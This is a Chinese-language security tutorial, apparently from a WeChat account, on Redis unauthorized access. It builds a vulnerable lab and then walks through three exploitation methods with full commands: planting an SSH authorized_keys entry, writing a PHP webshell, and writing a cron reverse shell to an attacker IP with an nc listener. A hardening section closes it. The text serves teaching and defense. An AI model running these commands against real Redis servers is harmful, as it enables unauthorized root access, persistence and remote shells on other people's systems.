01
Redis介绍
Redis是C语言开发的一个开源高性能(key-value)键值对类型的内存NoSQL数据库,可以用作数据库、缓存、信息中间件(性能非常优秀,支持持久化到硬盘且高可用)。由于其自身特点,可以广泛应用在数据集群,分布式队列,信息中间件等网络架构中,在内网渗透的突破中,常常扮演getshell的角色。
02
Redis未授权访问漏洞介绍
Redis因配置不当导致未授权访问,可以被攻击者恶意利用。
当前针对Redis未授权访问是一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。
很多服务器上的Redis会绑定0.0.0.0:6379,并且没有开启认证(Redis 的默认配置),以及该端口可以通过公网直接访问。
如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。
03
漏洞产生条件
漏洞的产生条件需满足以下两点:
Redis
绑定在0
.0
.0
.0
:6379
,且没有进行添加防火墙规则避免其他非信任来源
IP
访问,直接暴露在公网。
没有设置密码认证,可以远程登录
Redis
服务。
04
漏洞影响版本
Redis 2.x,3.x,4.x,5.x
05
漏洞影响危害
Redis未授权访问漏洞带来的危害包含但不限于如下:
攻击者可以不用认证访问到内部数据,可能导致敏感信息泄露,黑客也可以执行攻击代码清空所有数据。
黑客可以通过
eval
执行lua代码,或者通过数据备份功能往磁盘写入后门文件。
如果redis以root身份运行,黑客可以给root用户写入ssh公钥文件,直接通过ssh远程登录服务器。
如果喜欢,敬请关注,后期内容更精彩!
06
漏洞利用常用命令
Redis漏洞的常用命令如下:
ssh-keygen -t rsa
#生成密钥值
redis-cli -h ip -p 6379 -a passwd
# 外部连接
config
set
dir /root/redis
#设置保存目录
config
set
dbfilename redis.rdb
#设置保存文件名
config
get
dir
#查看保存目录或检查工作目录是否设置成功
config
get
dbfilename
#检查备份文件名是否设置成功
set
webshell
"<?php phpinfo();?>"
#设置webshell
config
set
dbfilename authorized_keys
#设置认证密钥值
set
x
"nnn公钥值nnn"
#将公钥写入x
save
#进行备份操作
ssh -i id_rsa root@地址 -p21
#连接SSH
slaveof ip port
# 设置主从关系
虽然小编累的腰酸背痛,双手发麻,But,为了帮助大家了解、理解甚至掌握Redis常用的漏洞利用命令,这点苦不算啥~
07
漏洞场景搭建
1、下载Redis源码,以ubuntu系统为例。
wget http:
//download.redis.io/releases/redis-5.0.9.tar.gz
2、解压压缩包
tar
xzf
redis-5
.0
.9
.tar
.gz
3、进入安装目录,安装gcc编译环境(非常重要),最后编译执行
sudo
apt
install
gcc
tcl
cd
redis-5
.0
.9
make
4、拷贝 redis-server 和 redis-cli 拷贝到/usr/bin目录
cd
src
cp
redis-server /usr/bin/
cp redis-cli /usr/bin/
5、将主目录下的redis.conf拷贝到/etc/目录下
cp
redis.conf /etc/
6、编辑/etc/redis.conf文件
vim
/etc/redis.conf
7、在该行前面增加#,注释ip绑定,允许除本地外的主机远程登录redis服务。
8、关闭保护模式,将yes改为no,允许远程连接redis服务。
9、使用修改过后的配置文件启动Redis服务
redis-server
/
etc
/
redis
.conf
(在
redis
.conf
文件目录下执行)
#重新启动配置文件才会生效
-----------------------
#将此启动脚本加入到/
etc
/
rc
.local
,让其开机自启动
echo
"/
home
/
CnHongKe
/
Redis
/
redis-5
.0
.9
/
src
/
redis-server
/
etc
/
redis
.conf
" >> /
etc
/
rc
.local
#/
home
/
CnHongKe
/
Redis
/
redis-5
.0
.9
是自己安装
Redis
的目录
10、使用另一台机器或本机无账号登录redis,以此验证redis服务的正确安装。
为了方便大家快速复现,小编也已整理了如下步骤,仅供参考:
默认apt-
get
安装,先进行更新sudo apt-
get
upgrade安装
sudo apt-
get
install redis-server
直接启动服务,执行redis-server或者redis-server+(配置文件目录)
将配置文件中的bind参数改为
0.0
.0
.0
或者注释掉,并且修改
protected
-mode为no允许外连。
关闭防火墙,具体命令:sudo ufw disable 查看防火墙状态:sudo ufw status
08
漏洞利用复现
0X01 利用SSH写公钥登录服务器
>> 利用条件
服务端的
Redis
连接存在未授权,在攻击机上能用
redis-cli
直接登陆连接,无需登陆验证。
服务端存在
.ssh
目录并且有写入的权限。
>> 漏洞原理
在数据库中插入一条数据,将本机的公钥作为
value
或key值,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key。
【特别说明】这个场景主要应用在没有 web 应用的服务器,redis一般都是与web分离的,linux系统都存在/root目录,所以这种方式会更加实用些。
>> 漏洞复现
第一步:在攻击机(如Kali)中生成ssh公钥和私钥,密码设置为空。
ssh-keygen -t rsa
默认会在/root/.ssh/目录中生成2个文件,私钥:id_rsa和公钥:id_rsa.pub。
第二步:打开id_rsa.pub文件,将里面内容复制出来。
cat
/root/.ssh/id_rsa.pub
或者通过以下命令将生成的公钥另存为pub_key.txt
(echo -e
"nn"
;
cat
/root/.ssh/id_rsa.pub;
echo
-e
"nn"
)>pub_key.txt
最后将保存的pub_key.txt文件内容写入redis。
cat /root/.ssh/pub_key.txt | redis-cli -h 目标IP -x set pub
第三步:连接目标Redis漏洞主机
redis-cli
-h
IP
-p
6379
#IP
是目标
redis
主机
第四步:设置Redis的备份路径设置为/root/.ssh/,同时将保存的文件名命名为authorized_keys,并将kali生成的ssh公钥数据保存在目标服务器硬盘上路径为/root/.ssh/里面,最后我们可以通过kali的ssh私钥连接目标主机。
config
set
dir /root/.ssh/
config
set
dbfilename authorized_keys
save
quit
---------------------------
【友情提醒】注意在config
set
dir /root/.ssh时出现(error) ERR Changing directory: No such file
or
directory,只需要在靶机输入ssh localhost即可。
第五步:使用ssh连接目标主机,进而成功获取root权限。
ssh
-i id_rsa root
@ip
#IP是目标redis主机
完整的思路与步骤已经演示完毕,相信各位大佬应该理解了吧,接下来就需要大家“锻炼”起来啦~
0X02 利用漏洞写入webshell
>> 利用条件
目标开启了web服务,并且知道web路径。
root权限执行的redis,具有读写权限。
>> 漏洞原理
借助已知网站的物理路径或绝对路径,通过高级权限进行写马与连接。
>> 漏洞复现
第一步:搭建Web服务器(安装Apache)
apt
install apache2
#安装命令
systemctl status apache2
#检查服务是否启动
----------apache 的默认的一些目录-----------
默认文档根目录是在 ubuntu 上的 /var/www 目录
配置文件是 / etc/apache2/apache2.conf
配置存储在的子目录在/etc/apache2 目录
----------开启、关闭和重启服务器-----------
/etc/init.d/apache2 start //启动Apache服务
/etc/init.d/apache2 stop //停止Apache服务
/etc/init.d/apache2 restart //重启Apache服务
第二步:redis-cli连接目标主机,并开启如下骚操作
redis-cli -h 192.168.100.138
#连接Redis
config
set
dir /
var
/www/html/
#设置要写入shell的绝对路径
config
set
dbfilename shell.php
#设置数据文件的名字
set
x
"rnrn<?php phpinfo();?>rnrn"
#写入phpinfo()到webshell键
save
#保存
0X03 利用计划任务写入webshell
>> 利用条件
root启用Redis
redis无密码或者弱密码
>> 漏洞原理
在redis数据库中插入一条数据,将计划任务的内容作为
value
,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell。
>> 漏洞复现
第一步:在kali攻击机192.168.100.94中监听任意端口
nc
-lnvp
8888
第二步:在目标机器中启动redis服务【建议在CentOS上操作】
利用该漏洞建议在Centos上实验,有时Ubuntu上行不通,原因如下:
因为默认redis写文件后是
644
的权限,但ubuntu要求执行定时任务文件/
var
/spool/cron/crontabs/<username>权限必须是
600
也就是-rw-------才会执行,否则会报错(root)
INSECURE
MODE
(
mode
0600
expected
),而Centos的定时任务文件/
var
/spool/cron/<username>权限644也能执行
因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
由于系统的不同,crontrab定时文件位置也会不同:
Centos的定时任务文件在/
var
/spool/cron/<username>
Ubuntu定时任务文件在/
var
/spool/cron/crontabs/<username>
如果必须在Ubuntu系统中演示,可以参考链接https:
//www.dazhuanlan.com/knight9001/topics/1061140
第三步:在Kali攻击机中进行如下骚操作
redis-cli -h 192.168.100.77
#连接CentOS Redis服务器
set
xx
"n* * * * * bash -i >& /dev/tcp/192.168.100.94/8888 0>&1n"
#反弹连接
config
set
dir /
var
/spool/cron/
#设置要写入shell的绝对路径
config
set
dbfilename root
#设置数据文件的名字
save
#保存
第四步:返回Kali攻击机,观察反弹shell情况。
编写到此处,三种利用的方式已经全部介绍完毕,相信各位大佬应该深入玩转Redis的漏洞利用方式。如果想要免安装的部署环境,可以关注微信公众号,并在消息处留言:Redis靶场,即可获取下载链接。
最后,留给大家一个问题---“如何利用SSRF漏洞对Redis进行写webll呢?”欢迎大家留言讨论,我们准备了礼品送给精选留言的粉丝们。
09
☆☆☆漏洞利用总结☆☆☆
由于内容篇幅较长,现将常见的三种利用方式总结如下:
10
漏洞防御措施
1、以低权限运行 Redis 服务(重启redis才能生效),为Redis 服务创建单独的用户和家目录,并且配置禁止登陆。
groupadd
-r redis && useradd -r -g redis redis
2、为Redis添加密码验证(重启redis才能生效),修改redis.conf 文件,添加
requirepass
mypassword(注意redis不要用-a参数,明文输入密码,连接后使用auth认证)
3、禁止外网访问Redis(重启redis才能生效),修改redis.conf 文件,添加或修改,使得Redis服务只在当前主机可用。
bind
127
.0
.0
.1
4、修改默认端口,修改配置文件redis.conf文件
Port
6379
5、保证 authorized_keys 文件的安全,应该阻止其他用户添加新的公钥。
#将authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
chmod
400
~
/.ssh/
authorized_keys
#为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限
chattr +i ~
/.ssh/
authorized_keys
#重命名 ~
/.ssh,然后新建新的 ~/
.ssh目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable权限。
chattr +i ~
/.ssh
6、设置防火墙策略,如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。
原文始发于微信公众号(数字人才创研院):知识分享|Redis未授权访问漏洞汇集
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论